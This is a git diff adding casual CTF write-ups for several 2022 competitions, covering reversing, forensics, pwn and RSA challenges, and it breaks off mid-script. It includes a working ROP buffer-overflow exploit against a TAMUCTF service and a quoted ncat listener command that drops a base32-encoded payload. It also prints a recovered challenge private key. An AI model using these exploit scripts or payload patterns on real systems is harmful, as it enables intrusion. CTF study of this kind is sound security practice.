+ #print(simplify(x)) + x += SRem(BitVecVal(ord(ef[i - 0x1]), 8), 128) if i > 0x0 else 0xd + #print(simplify(x)) + x = SignExt(4, x) ^ 0x555 + #print(simplify(x)) + x = ((x ^ ~0x0)) & 0xff + #print(simplify(x)) + x = ~(Extract(8, 0, x ^ 0x3)) + #print(simplify(BV2Int(x, is_signed=True))) + x = ((x >> 0x1f) + x) ^ (x >> 0x1f) + #print(simplify(BV2Int(x, is_signed=True))) + #ef += [Extract(9, 0, x)] + sol.add(x == ord(ef[i])) + +print(sol.check()) +print(sol.unsat_core()) +model = sol.model() + +#print([simplify(BV2Int(x, is_signed=True)) for x in ef]) +print('wtf' + str(model)) +print("".join([chr(model[var].as_long() & 0b01111111) for var in s])) +``` \ No newline at end of file diff --git a/ctfs/comments/sekaictf22.md b/ctfs/comments/sekaictf22.md new file mode 100644 index 0000000..ac1fbdd --- /dev/null +++ b/ctfs/comments/sekaictf22.md @@ -0,0 +1,48 @@ +### symbolic needs 1 + +me and [@argonaut0]() were basically just finding the debug symbols for the kernel to get volatility 3 working for basically the entirety of the chall referencing my [irc writeup](https://maplebacon.org/2022/03/utctf-irc/) + +it was highkey way harder to find than debian ngl lol we finally realized the ddeb was it but then we need to reference the unsigned dbgsym package instead to get the actual thing and its hidden within the control file + +finally after setting up [@argonaut0]() ran the usual commands and saw the weird string in bash history `72.48.117.53.84.48.110.95.119.51.95.52.114.51.95.49.110.33.33.33` + +and it instantly looked suspiciously like ascii for me for some reason so i wrote a simple oneliner in python to test it out + +bruh and its actually the flag `'H', '0', 'u', '5', 'T', '0', 'n', '_', 'w', '3', '_', '4', 'r', '3', '_', '1', 'n', '!', '!', '!'` lmao + +3/5 star difficulty ok sure :woozy_face: + + +### symbolic needs 2 + +did a lot more commands on it but we couldnt figure out much, especially coz `proc.maps` dies midway when theres a page fault along with some other useful cmds like kmsg + +so i resorted to trying to strings or extract any useful info from the command outputs we got, but no luck + +[@argonaut0]() eventually saw ncat in pslist, which was kinda suspicious but not too sus still + +i figured might as well see if theres anything special while he looks for other hints like tty for ncat and reading buffers (which we cant again coz we dont even know where ncat is mapped in memory) + +however `strings` did work - grepping for ncat gave me this: + +```sh +ncat -lvnp 1234 -c 'echo N4GQ2CQAAAAAAEFG5JRPEAIAADRQAAAAAAAAAAAAAAAAAAAAAAAAACIAAAAEAAAAABZ6QAAAABSAAZABNQAFUAD2A5SQA2QBMQBBSAC2AJLQA3QLAEAACAABABSQGZADQMAQCADFASBQAAIALEAGOAC2AVSQMZAEMQCYGAUPBZNAOZIHUAEKCAFABGQQAWQFK4AGIAIEAACABAYDAEAG4CBRABZS65YBAEAACAABABMQAAIAMQDFUCTFBNSQVAYBMQDWIAMFAIMQAWQKMUGGKCVABVSQ4ZIKQMAWICDFBZSQVAYBMQEBMAAYAALQBIIBQMAVUCTHABNA6ZIQMQAGKDTFBKBQCZAIQMBUIAC5CRNBCZIPUAJGKBLFCNSQUZIRMUIWICAXACCQEGIAMQDYGATEAIMAAGIAUEAQCADRLFSQGZAJQMAQCADEAFJQAKIK5EAAAAAAJ3UQCAAAAB5BQVLTMFTWKORAFYXXOYLMNRSXIIDQMFZXG53POJSHUDLCNFYDGOLMNFZXILTUPB2NUALSNQKAAAAAABS6KHWNHGMBH4AWTJ3BE3XKCYFWPVQQSR6WWFSHC2WEUE3P5AP7G46OA3IBWAIA5EBAAAAA5EGAAAAA3ICVO4TPNZTSSFG2ANZXS462ARQXEZ3W3IEHAYLTON3W64TE3ICXA4TJNZ2NUBDFPBUXJWQFO5XXEZDT3ICG64DFN3NACZW2ARZGKYLE3IFHG4DMNF2GY2LOMVZ5UBDDN5SGLWQDMJUW5WQDON2HFWQFPJTGS3DM3IBWYZLO3IEG23TFNVXW42LD3ICXEYLOM5S5UALJ3IDGC4DQMVXGJWQDNFXHJKIAOINQAAAAOINQAAAA7IEHIZLTOQZC44DZ3IEDY3LPMR2WYZJ6AEAAAADTEIAAAAAIAABAEDQBAYAQQAIIAECAGDACBYARZ7YEAMIAGIQBAQBRIARGAEGAE=== | base32 -d > file.pyc' +``` + +LOL sure ok dont mind if i do + +turns out its python 3.10 :skull: no decompilers can read 3.10 atm man + +disassembled it, but doesnt look to trivial to reverse so i looked for another way to approach it + +one way was to try the dice @ hope `better-llvm` trick with pdb, especially if its a flag checker, but i couldnt get too far with it since the codes run on module load not as a function and it doesnt look like a flag checker anyway + +i can easily get the results in the module imported after the code runs though, and `test.mnemonic` caught [@argonaut0]()'s eyes - that should be enough to recover the private key since to run the module we alr need `bip39wordlist.txt` + +idk blockchain so i let him do the work, and eventually using `ethers` on nodejs we got the privatekey using the mnemonics + +`0x81c458e9fae445de18385a3379513acc8e191e4c2667c85aa0a52a32ec4e6d55` lol + +also eventually i figured out if i bypass the unrecognized opcodes like i did in nahamcon `brainmelt`, i still get somewhat readable code - which actually is the code that generates the mnemonic but well is useless at this point coz i got the post run values alr + +haha forensics more like running `strings` once again \ No newline at end of file diff --git a/ctfs/comments/squarectf22.md b/ctfs/comments/squarectf22.md new file mode 100644 index 0000000..ad9c1b8 --- /dev/null +++ b/ctfs/comments/squarectf22.md @@ -0,0 +1,179 @@ +### yet another reversing activity + +imhex op + +`flag.yarc` is basically a compiled yara rule, which https://bnbdr.github.io/posts/swisscheese/ actually details the format pretty well as apart of a vuln writeup - but too bad this version is very outdated and a lot of the things changed already + +so into yara's repo we go https://github.com/VirusTotal/yara/blob/666d5a4fd61df57d261d387676f7bd98544337a3/libyara/arena.c + +now since we dont have this current format laid out by ppl for us to understand we would have to basically map the parser type definitions to something that we can visualize + +and whats better than writing an hex pattern template + +turns out imhex is actually insanely flexible LOL i finally have a reason to drop 010 editor now + +```c +#define uint8_t u8 +#define uint16_t u16 +#define uint32_t u32 +#define uint64_t u64 +#define yr_arena_off_t u32 + +#include + +struct YR_ARENA_FILE_HEADER +{ + char magic[4]; + uint8_t version; + uint8_t num_buffers; +}; + +struct YR_ARENA_FILE_BUFFER +{ + uint64_t offset; + uint32_t size; + char arena[size] @ offset; +}; + +struct YR_ARENA_REF +{ + uint32_t buffer_id; + yr_arena_off_t offset; +}; + +YR_ARENA_FILE_HEADER header @ 0x00; +YR_ARENA_FILE_BUFFER buffers[header.num_buffers] @ 0x06; + + +u32 size; + +for(u8 i = 0, i < header.num_buffers, i+=1) { + size = size + sizeof(YR_ARENA_REF) + buffers[i].size; +}; + +YR_ARENA_REF reloc[header.num_buffers] @ size; +``` + +while [@Arctic](https://maplebacon.org/authors/rctcwyvrn/) was busy updating the opcodes from https://github.com/bnbdr/swisscheese/blob/master/assembler.py i was doing what i do the best again: pattern identification + +none of the arenas seem to have anything special, aside from one that looks suspiciously orderly as if its a flag checker, which with some formatting we can lay it out like this: + +```text +00 F0 3C +5F 3C +39 07 64 2F 0F 00 00 00 3C + +01 F0 3C +33 3C +5F 07 64 01 2F 0F 00 00 00 3C + +02 F0 3C +F8 3C +99 07 64 01 2F 0F 00 00 00 3C + +03 F0 3C +53 3C +34 07 64 01 2F 0F 00 00 00 3C + +04 F0 3C +F8 3C +83 07 64 01 2F 0F 00 00 00 3C + +05 F0 3C +9A 3C +F7 07 64 01 2F 0F 00 00 00 3C + +06 F0 3C +DD 3C +EE 07 64 01 2F 0F 00 00 00 3C + +07 F0 3C +5C 3C +6F 07 64 01 2F 0F 00 00 00 3C + +08 F0 3C +F9 3C +8D 07 64 01 2F 0F 00 00 00 3C + +09 F0 3C +F9 3C +A6 07 64 01 2F 0F 00 00 00 3C + +0A F0 3C +C8 3C +A5 07 64 01 2F 0F 00 00 00 3C + +0B F0 3C +80 3C +E5 07 64 01 2F 0F 00 00 00 3C + +0C F0 3C +86 3C +D9 07 64 01 2F 0F 00 00 00 3C + +0D F0 3C +0D 3C +3C 07 64 01 2F 0F 00 00 00 3C + +0E F0 3C +65 3C +0B 07 64 01 2F 0F 00 00 00 3C + +0F F0 3C +77 3C +28 07 64 01 2F 0F 00 00 00 3C + +10 F0 3C +8F 3C +B8 07 64 01 2F 0F 00 00 00 3C + +11 F0 3C +80 3C +E8 07 64 01 2F 0F 00 00 00 3C + +12 F0 3C +AA 3C +99 07 64 01 2F 0F 00 00 00 3C + +13 F0 3C +28 3C +77 07 64 01 2F 0F 00 00 00 3C + +14 F0 3C +69 3C +08 07 64 01 2F 0F 00 00 00 3C + +15 F0 3C +56 3C +24 07 64 01 2F 0F 00 00 00 3C + +16 F0 3C +A1 3C +92 07 64 01 2F 0F 00 00 00 3C + +17 F0 3C +2A 3C +44 07 64 01 2F 0F 00 00 00 3C + +18 F0 3C +EC 3C +D8 07 64 01 2F 0F 00 00 00 3C + +19 F0 3C +EA 3C +97 07 64 01 1D 00 00 00 00 00 00 00 00 FF +``` + +and we can see that basically aside from the first byte which is likely a counter, and the 2 bytes in the 2 rows after that byte would change, all other ones are basically static + +so i started reading the current opcode map to see what operation might be acting on those 2 specific bytes +and aha `#define OP_BITWISE_XOR 7` so i tried it out + +and with +```py +print(bytes([0x5F^0x39, 0x33^0x5F, 0xF8^0x99, 0x53^0x34, 0xF8^0x83, 0x9A^0xF7, 0xDD^0xEE, 0x5C^0x6F, 0xF9^0x8D, 0xF9^0xA6, 0xC8^0xA5, 0x80^0xE5, 0x86^0xD9, 0x0D^0x3C, 0x65^0x0B, 0x77^0x28, 0x8F^0xB8, 0x80^0xE8, 0xAA^0x99, 0x28^0x77, 0x69^0x08, 0x56^0x24, 0xA1^0x92, 0x2A^0x44, 0xEC^0xD8, 0xEA^0x97])) +``` + +i was correct and we get the flag `flag{m33t_me_1n_7h3_ar3n4}` lmaooo + +i love just recognizing patterns instead of reversing \ No newline at end of file diff --git a/ctfs/comments/tamuctf22.md b/ctfs/comments/tamuctf22.md new file mode 100644 index 0000000..497c9a6 --- /dev/null +++ b/ctfs/comments/tamuctf22.md @@ -0,0 +1,505 @@ +### covfefe + +decompile the class, and print the nArray +```java +import java.util.*; +import java.util.stream.*; + +public class Main { + public static void main(String[] stringArray) { + int n; + int n2 = 35; + Integer[] nArray = new Integer[n2]; + for (n = 0; n < n2; ++n) { + nArray[n] = 0; + } + nArray[0] = 103; + nArray[1] = nArray[0] + 2; + nArray[2] = nArray[0]; + block16: for (n = 3; n < 8; ++n) { + switch (n) { + case 3: { + nArray[n] = 101; + continue block16; + } + case 4: { + nArray[6] = 99; + continue block16; + } + case 5: { + nArray[5] = 123; + continue block16; + } + case 6: { + nArray[n + 1] = 48; + continue block16; + } + case 7: { + nArray[4] = 109; + } + } + } + nArray[8] = 102; + nArray[9] = nArray[8]; + nArray[25] = nArray[28] = nArray[7]; + nArray[24] = nArray[28]; + nArray[10] = 51; + nArray[11] = nArray[10] + 12 - 4 - 4 - 4; + nArray[22] = nArray[27] = nArray[0] - (int)Math.pow(2.0, 3.0); + nArray[15] = nArray[27]; + nArray[12] = nArray[27]; + nArray[13] = 49; + nArray[14] = 115; + block17: for (n = 16; n < 22; ++n) { + switch (n) { + case 16: { + nArray[n + 1] = 108; + continue block17; + } + case 17: { + nArray[n - 1] = 52; + continue block17; + } + case 18: { + nArray[n + 1] = 52; + continue block17; + } + case 19: { + nArray[n - 1] = 119; + continue block17; + } + case 20: { + nArray[n + 1] = 115; + continue block17; + } + case 21: { + nArray[n - 1] = 121; + } + } + } + nArray[23] = 103; + nArray[26] = nArray[23] - 3; + nArray[29] = nArray[26] + 20; + nArray[30] = nArray[29] % 53 + 53; + nArray[31] = nArray[0] - 18; + nArray[32] = 80; + nArray[33] = 83; + nArray[n2 - 1] = (int)Math.pow(5.0, 3.0); + System.out.println(Arrays.asList(nArray).stream().map(i -> String.valueOf((char)i.intValue())).collect(Collectors.joining(""))); + } +} +``` + + +### existing tooling + +breakpoint before it prints how long the flag is, grab the content from the `obj` global var with IDA + + +### redo 1 + +remove the 0 ints in the `a` array to prevent null termination, convert it to char* and print +```c +#include + +int main(int argc, char** argv) +{ + int a[] = {0x65676967,0x34427b6d,0x5f433153,0x616c5f43,0x4175476e,0x525f4567,0x78305f45,0x53414c47,0x00007d53}; //remove null term + char* flag = (char*)(&a); + printf("%s", flag) +} +``` + + +### redo 2 + +add `.intel_syntax noprefix` to the top of the asm file, compile with `gcc -m32 -c redo2.S -o redo2.o` and decompile it with IDA + +change all returns and if statements to assignations, rearranging if necessary + +set up flag with flag length as long as the for loop (or the malloc size), and add a print at the end +```c +#include +#include +#include + +int main(int argc, const char **argv, const char **envp) +{ + char *v4; // [esp+0h] [ebp-20h] + int m; // [esp+4h] [ebp-1Ch] + int l; // [esp+8h] [ebp-18h] + int k; // [esp+Ch] [ebp-14h] + int j; // [esp+10h] [ebp-10h] + int i; // [esp+14h] [ebp-Ch] + + char* flag = "gigem{aaaaaaaaaaaaaaaaaaaaaa}"; + + for ( i = 0; i <= 28; ++i ) + { + if ( !flag[i] ) + return -1; + } + v4 = malloc(0x1Du); + for ( j = 0; j <= 28; ++j ) + { + v4[j] = flag[j]; + v4[j] -= 49; + } + if ( *v4 != v4[2] ) + return 1; + if ( v4[1] != 56 ) + return 2; + if ( *v4 != 54 ) + return 3; + if ( v4[3] != 52 ) + return 4; + if ( (char)v4[28] != (char)v4[5] + 2 ) + return 5; + if ( v4[5] != 74 ) + return 6; + if ( v4[4] != 60 ) + return 7; + for ( k = 0; k <= 2; ++k ) + { + v4[k + 6] = 48; + } + for ( l = 0; l <= 3; ++l ) + { + v4[l + 10] = 49; + } + for ( m = 0; m <= 4; ++m ) + { + v4[m + 15] = 50; + } + v4[21] = v4[15] + 1; + v4[9] = 46; + v4[14] = v4[9]; + v4[20] = v4[9]; + v4[22] = v4[9]; + v4[27] = 1; + v4[26] = 2; + v4[23] = 3; + v4[24] = 4; + v4[25] = 0; + + for ( j = 0; j <= 28; ++j ) + v4[j] += 49; + printf("%s\n", v4); +} +``` + + +### one and done + +buffer overflow with PIE disabled but no libc - search for rop gadgets in binary, stitch together until syscalls can be made + +reuse gets and puts provided +```py +from pwn import * +import time + +p = remote("tamuctf.com", 443, ssl=True, sni="one-and-done") +#elf = ELF('./one-and-done') +#p = process('./one-and-done') + +#gets +payload = b'A' * 0x128 #padding until ret +payload += p64(0x0000000000401793) #pop rdi +payload += p64(0x0000000000405310) #_edata addr for temp storage since its RW and not really used +payload += p64(0x0000000000401795) #gets +#open syscall +payload += p64(0x0000000000401f31) #pop rdx +payload += p64(0x0000000000000002) #sys_open +payload += p64(0x0000000000401793) #pop rdi +payload += p64(0x0000000000405310) #temp storage we wrote to +payload += p64(0x0000000000401713) #pop rsi +payload += p64(0x0000000000000000) #O_RDONLY +payload += p64(0x00000000004013ce) #pop rbx +payload += p64(0x0000000000000002) #set i = 2 for inc to 3 to pass `cmp i, 3` in _init_libc that we are hijacking +payload += p64(0x00000000004013ad) #mov edx to eax and syscall (sys_open) +payload += b'A' * 0x158 #_init_libc frame reset +#read syscall +payload += p64(0x000000000040100b) #pop rax +payload += p64(0x0000000000000000) #sys_read +payload += p64(0x0000000000401f31) #pop rdx +payload += p64(0x0000000000000030) #read count +payload += p64(0x0000000000401793) #pop rdi +payload += p64(0x0000000000000003) #fd for flag +payload += p64(0x0000000000401713) #pop rsi +payload += p64(0x0000000000405310) #temp storage +payload += p64(0x0000000000401f27) #simple syscall +payload += b'A' * 0x8 #ret frame +#puts +payload += p64(0x0000000000401793) #pop rdi +payload += p64(0x0000000000405310) #temp storage we wrote to +payload += p64(0x0000000000401834) #pop rdi + +#time.sleep(10) #for debugger + +p.sendline(payload) +p.interactive() +``` + + +### live math love + +from (mostly) trial and error + reading stack on each function call + - the first value is used for both menu choosing and the first value of the arithmetic + - the second value is used for arithmetic + - the third value is used for arithmetic AND is stored at the next function call's stack location's lower 8 bytes + - the fourth value is ignored + - the printed value is stored at the next function call's stack location's higher 8 bytes + +and it repeats + +as long as we use an invalid option in menu the function call's stack location wont get overwriten + +so with that we want a float value to match 0x00401163 which is 5.88371e-39 + +and then make it so that the printed value is 0 + +which multiply is the easiest to use + +so we can just input in sequence: +```c +3 //must use to choose multiply +0 //ensure printed value is * 0 = 0 so no unnecessary writing is made +5.88371e-39 //value we found +0 //same reason as the 0 above +0 //invalid value for triggering function pointer +``` + + +### labyrinth + +co-solved with [@Jason](https://maplebacon.org/authors/Jason/) + +maze with function calls that are gated by integer arithmetic checks + +angr doesnt work directly prob coz of too many branches, so we want to traverse the maze for angr first to resolve the integers needed to pass the functions + +angr's cfgfast to the rescue + +get shortest path from main function to the only function that calls `exit(0)` not `exit(1)` (address obtained using radare) + +tried to use filtering with avoid on all node addresses that are not in the path obtained, failed + +realized the path we got has indirect resolutions that are not even reachable + +removed all nodes that are not called `function_*` or `main` which are the maze components and got the cfg again which has a valid path now + +still doesnt work, realized we hooked scanf wrongly (scanf is hooked coz angr said its not properly emulated and stdin is painful to use) + +filtering STILL doesnt work so we went with directing angr using new sim states on every node and explore the next addr instead + +tada solved +```py +from pwn import * +import angr +import claripy +import r2pipe +import networkx + +io = remote("tamuctf.com", 443, ssl=True, sni="labyrinth") + +for binary in range(5): + with open("elf", "wb") as file: + file.write(bytes.fromhex(io.recvline().rstrip().decode())) + + exe = context.binary = ELF('elf') + + r = r2pipe.open(exe.path) + r.cmd('aaa') + r.cmd('e search.in=bin.section.[x]') + target = r.cmdj('pdfj @ ' + r.cmd('/a mov edi, 0; call sym.imp.exit;').split()[0]) + all_func_offsets = [func['offset'] for func in r.cmdj('aflj') if 'function_' in func['name']] + + p = angr.Project(exe.path, main_opts={'base_addr': 0}, load_options={'auto_load_libs': False}) + + cfg = p.analyses.CFGFast() + + complete = False + + while not complete: + complete = True + + for node in cfg.graph.nodes: + if node.function_address not in all_func_offsets and node.name and 'main' not in node.name: + cfg.graph.remove_node(node) + complete = False + break + + mainNode = cfg.model.get_node(exe.sym['main']) + targetNode = cfg.model.get_node(target['addr']) + + path = networkx.algorithms.shortest_path( + cfg.graph, + source=mainNode, + target=targetNode + ) + + nums = [] + + class ReplacementScanf(angr.SimProcedure): + def run(self, format_string, ptr): + u = claripy.BVS('num_%d' % len(nums), 4*8) + nums.append(u) + self.state.mem[ptr].dword = u + + p.hook_symbol('__isoc99_scanf', ReplacementScanf(), replace=True) + + s = p.factory.full_init_state( + add_options=set.union( + angr.options.unicorn, + { + angr.options.LAZY_SOLVES, + angr.options.ZERO_FILL_UNCONSTRAINED_MEMORY, + angr.options.ZERO_FILL_UNCONSTRAINED_REGISTERS, + } + ) + ) + + sim = p.factory.simgr(s) + + print("PATH: " + str([node.name for node in path]) + " (" + str(len(path)) + ")") + + for node in path: + sim.explore(find=node.addr) + + if sim.found: + print(node.name + " solution found") + sim = p.factory.simgr(sim.found[0]) + else: + print("no solution") + + solution = [sim.active[0].solver.eval(num) for num in nums] + + print(solution) + + io.sendline(b"".join([str(num).encode() + b'\n' for num in solution]).hex().encode()) + +io.interactive() +``` + + +### unboxing + +co-solved with [@Jason](https://maplebacon.org/authors/Jason/) + +shellcode unravels next segment and destroys the previous one before moving on to the next segment and repeat, along with outputting to `output` for byte checking + +checks 64 of the bytes not set in certain places on .data + +doesnt work with angr - gets stuck at shell code probably coz of the jmps and self modifying instructions + +eventually we realized: + - each segment is 0x44 bytes + - first xor starting from 00E, next one is at 052, and so on + - rcx is probably a tracker of how many bytes are remaining in the shellcode portion: starts at 0x10fe7, drops 44 each unravelling of segment + - each segment xors the entire rest of the shellcode portion not just a single segment + - composes of a constructor segment (xors everything after this segment), a data writer segment (does the main things unrelated to shellcode unravelling), a destructor segment (sets zero on the segment above and erases it) + +with this data gathered, we concluded its basically russian doll - first segment uncovers everything after it, second segment uncovers everything after it, and so on... which means the last segment to be uncovered is layered in thousands of xors + +and we can manually unwrap the shellcodes with xors obtained layer by layer statically + +originally done with radare but scuffed coz its unstable, later with plain offsets as follows + - counter = 0x10fe7 decrement by 0x44 each cycle, or since we have to unwrap at the top, (start = 0) + 0x44 until 0x11001 + - xor byte - start + 0xe + 0x2 + - start writing at - start + 0x19 + +after quite a bit of 4am oversights and debugging we got segments that follow the structure we saw right up till the end which means we did the xor correctly + +then we have to remove the constructor and destructor since those will overwrite our statically unwrapped data and corrupt it + +after another bit of 5am debugging nop is also done, but we cant see how it returns and it doesnt return it just goes straight into the next program segment and segfaults + +eventually we realized at the very end of data its a C3 which is a retn instruction before xoring which means we were xoring 1 too many lines of code + +removing that and finally we have a working program we can run angr on + +run angr after hooking read instead of using stdin, standard angr afterwards + +and we get the solve script +```py +from pwn import * +import angr +import claripy +import r2pipe + +io = remote("tamuctf.com", 443, ssl=True, sni="unboxing") + +for binary in range(5): + with open("elf", "wb") as file: + file.write(bytes.fromhex(io.recvline().rstrip().decode())) + file.close() + + exe = context.binary = ELF('elf') + + r = r2pipe.open(exe.path) + r.cmd('aaa') + correct = int(r.cmd('pdfs @ main ~ str.correct_:_').split()[0], 0) + wrong = int(r.cmd('pdfs @ main ~ str.wrong_:_').split()[0], 0) + + mem = r.cmdj(f'pxj 0x11001 @ 0x4080') + + offset = 0; + while offset + 0x44 < 0x11001: + start = offset + 0x19 + xor = mem[offset + 0x10] + + # print(f"XOR to {hex(start)}") + mem[start:-1] = [byte ^ xor for byte in mem[start:-1]] + + offset += 0x44 + + print(hex(len(mem))) + offset = 0; + while offset + 0x44 < 0x11001: + # print(f"NOP to {hex(offset)}") + mem[offset + 0x00 : offset + 0x19] = [0x90] * 0x19 + mem[offset + 0x2b : offset + 0x44] = [0x90] * 0x19 + + offset += 0x44 + + print(hex(len(mem))) + with open(exe.path, 'r+b') as file: + file.seek(int(r.cmd('?p @ obj.check'), 0)) + file.write(bytes(mem)) + + info("CORRECT = " + hex(correct)) + info("WRONG = " + hex(wrong)) + + p = angr.Project(exe.path, main_opts={'base_addr': 0}) + + password_chars = [claripy.BVS("byte_%d" % i, 8) for i in range(0x40)] + password = claripy.Concat(*password_chars) + + class ReplacementRead(angr.SimProcedure): + def run(self, fd, ptr, length): + self.state.memory.store(ptr, password) + + p.hook_symbol('read', ReplacementRead(), replace=True) + + s = p.factory.full_init_state( + add_options={ + angr.options.LAZY_SOLVES, + angr.options.ZERO_FILL_UNCONSTRAINED_MEMORY, + angr.options.ZERO_FILL_UNCONSTRAINED_REGISTERS, + } + ) + + sim = p.factory.simgr(s) + + sim.explore(find=correct, avoid=wrong) + + if sim.found: + print("solution found") + solution = sim.found[0].solver.eval(password, cast_to=bytes) + else: + print("no solution") + + io.sendline(solution.hex().encode()) + +io.interactive() +``` diff --git a/ctfs/comments/umdctf22.md b/ctfs/comments/umdctf22.md new file mode 100644 index 0000000..0472243 --- /dev/null +++ b/ctfs/comments/umdctf22.md @@ -0,0 +1,395 @@ +### dragonPit + +dude i literally couldve got the flag without spending an entire hour on it + +i guess the chall is that they stored the string as register immediate values so strings cant show it but the string is lliterally there + +but i dont even need it since its literally just + +```c +qmemcpy(v7, "UMDCTF{BluSt0lXdrXg}", 20); +v7[17] = s[9]; +v7[14] = 51; +printf("%.20s\n", v7); +``` + +yet i spent ages trying to debug glibc coz dragonPit requires glibc 2.34 which both the cs server and my server doesnt have and cannot install + +and `LD_PRELOAD` just crashes when i included all the libs i need through a space separated list + +finally i got `./glibc-2.34/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 --library-path ./glibc-2.34/lib/x86_64-linux-gnu/ ./dragonPit` and it worked + +so bad `UMDCTF{BluSt0l3dr4g}` + + +### Gee. queue are ex? + +again setup took the majority of the time lmao + +its in .iq, which is signal data and after searching around i found universal radio hacker to be able to parse it so i went and grabbed it + +and then i started setting up but as usual with setting up python shit it ended up being convoluted af lmao + +i had to get msvc buildtools for cythonize after fixing import path for src module not found error for setup.py by adding in `sys.path.append("D:\Downloads\urh-master")`` + +then after a while of installation it spew out `Python.h` not found, and after digging around for a while i found out my python3.7 installation somehow doesnt have cython stuff in it so i had to switch to python3.9 + +then `io.h` not found happened + +https://stackoverflow.com/questions/40018405/cannot-open-include-file-io-h-no-such-file-or-directory, so i need win 10 sdk too so its another while of waiting and finally i can get it to run + +but then it loads the file for ages + +but then i also noticed it says i can disable a certain feature in urh when it was loading in so i wondered if it would help + +and it actually did + +i then went and grabbed the spectogram, and yep theres weird heads with the letters on it but its sideways and flipped + +so i just used irfanview to flip it and rotate it lmao + +and here it is `UMDCTF{D15RUP7_R4D10Z}` + + +### trainfuck + +the train emojis map to a brainfuck opcode - i noticed it when theres a lot of repeating emojis along with exactly 8 different emojis + +so i wrote a bruteforcer to check which emoji maps to which opcode by doing all permutations and running each in a brainfuck interpreter + +```py +import brainfuck, sys, itertools, multiprocessing + +emotes = ['🚅', '🚄', '🚂', '🚃', '🚆', '🚇', '🚈', '🚉'] +ops = ['>', '<', '+', '-', '.', ',', '[', ']'] + +def intp(test): + from io import StringIO + import os + sys.stderr = open(os.devnull) + old_stdout = sys.stdout + sys.stdout = mystdout = StringIO() + try: + brainfuck.evaluate(test) + except Exception as e: + print(e) + out = mystdout.getvalue() + sys.stdout = old_stdout + if 'Hello' in out: + print('got it ' + test) + mystdout.close() + + +if __name__ == '__main__': + text = '' + with open('trainfuck.tf', 'r', encoding="utf-8") as t: + text = t.read() + + for shuffle in itertools.permutations(emotes, 8): + test = text + for i in range(len(shuffle)): + test = test.replace(shuffle[i], ops[i]) + #print(test + "\n\n\n\n\n") + try: + p = multiprocessing.Process(target=intp, args=(test,)) + p.start() + + p.join(5) + if p.is_alive(): + p.terminate() + p.join() + except Exception as e: + print(e) + continue +``` + +after i got the actual brainfuck code, i tried to decompile it into more normal languages like js but that didnt really help since its still wack af + +so i just tried to use the brainfuck code directly + +and i noticed all of the odd values and even values map to the same 2 mappings from how the output change from `*E*E*E*E...` + +so now i got both the length and the mapping i just need the obfuscated flag itself + +i noticed theres always the same string thats in the memory cells of the interpreter and it matches up with the stuff that gets returned when i put in `UMDCTF` + +so that should be the obfuscated string + +and after a while of messing around on string encodings i finally got a program that iterates through both of the mapping and store it into a dict + +and everything thats left is now getting the actual flag from the mapping + +and ey `UMDCTF{fr1ck_ch00_ch00_tw41ns}` took me way too long lmao + +```py +text = '' +with open('trainfuck.bf.txt') as t: + text = t.read() + +expected = "127, 8, 110, 6, 126, 3, 81, 35, 88, 116, 73, 46, 117, 38, 66, 117, 26, 26, 73, 45, 26, 117, 117, 49, 93, 113, 27, 43, 89, 56".split(", ") + +alphanum = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMOPQRSTUVWXYZ1234567890' + +firstmapping = {'75': 'a', '72': 'b', '73': 'c', '78': 'd', '79': 'e', '76': 'f', '77': 'g', '66': 'h', '67': 'i', '64': 'j', '65': 'k', '70': 'l', '71': 'm', '68': 'n', '69': 'o', '90': 'p', '91': 'q', '88': 'r', '89': 's', '94': 't', '95': 'u', '92': 'v', '93': 'w', '82': 'x', '83': 'y', '80': 'z', '107': 'A', '104': 'B', '105': 'C', '110': 'D', '111': 'E', '108': 'F', '109': 'G', '98': 'H', '99': 'I', '96': 'J', '97': 'K', '102': 'L', '103': 'M', '101': 'O', '122': 'P', '123': 'Q', '120': 'R', '121': 'S', '126': 'T', '127': 'U', '124': 'V', '125': 'W', '114': 'X', '115': 'Y', '112': 'Z', '27': '1', '24': '2', '25': '3', '30': '4', '31': '5', '28': '6', '29': '7', '18': '8', '19': '9', '26': '0', '81': '{', '117': '_'} + +secondmapping = {'36': 'a', '39': 'b', '38': 'c', '33': 'd', '32': 'e', '35': 'f', '34': 'g', '45': 'h', '44': 'i', '47': 'j', '46': 'k', '41': 'l', '40': 'm', '43': 'n', '42': 'o', '53': 'p', '52': 'q', '55': 'r', '54': 's', '49': 't', '48': 'u', '51': 'v', '50': 'w', '61': 'x', '60': 'y', '63': 'z', '4': 'A', '7': 'B', '6': 'C', '1': 'D', '0': 'E', '3': 'F', '2': 'G', '13': 'H', '12': 'I', '15': 'J', '14': 'K', '9': 'L', '8': 'M', '10': 'O', '21': 'P', '20': 'Q', '23': 'R', '22': 'S', '17': 'T', '16': 'U', '19': 'V', '18': 'W', '29': 'X', '28': 'Y', '31': 'Z', '116': '1', '119': '2', '118': '3', '113': '4', '112': '5', '115': '6', '114': '7', '125': '8', '124': '9', '117': '0', '26': '_', '56': '}'} + + +s = '' + +for n in range(len(expected)): + if n % 2 == 0: + s += firstmapping[expected[n]] + else: + s += secondmapping[expected[n]] + +print(s) +``` + +### snowden + +i originally thought its just a random rsa attack, so i tried using rsactftool but none of the attacks worked even though ppl said online that if i can supply n e and c i can crack it already + +but then i remembered i can obtain multiple n e c trios so there has to be a specific attack that works for that + +so i searched it up and yep its called hastad's broadcast attack + +so i tried grabbing a script for that but none of the scripts seem to work and they dont really ask for exponent which i thought should be critical + +so i looked around more and saw that practically everyone did e = 3 hardcoded + +but then i saw https://crypto.stackexchange.com/questions/81719/how-to-solve-high-exponent-attack-for-same-message-in-rsa + +so i went and tried to modify one of the scripts i found to compute 21 n c pairs for e = 21 which is the smallest exponent that the chall gives + +and then painfully added all 21 n c pairs by pressing a LOT of `y`s and getting good RNG since the exponent is random + +and voila `I'm just patiently waiting for someone to finally be able to decrypt this message. UMDCTF{y0u_r3ally_kn0w_y0ur_br04dc45t_4tt4ck!}` + +```py +import gmpy2 +gmpy2.get_context().precision = 4096 + +from binascii import unhexlify +from functools import reduce +from gmpy2 import root + +# Håstad's Broadcast Attack +# https://id0-rsa.pub/problem/11/ + +# Resources +# https://en.wikipedia.org/wiki/Coppersmith%27s_Attack +# https://github.com/sigh/Python-Math/blob/master/ntheory.py + +EXPONENT = 21 + +C1 = 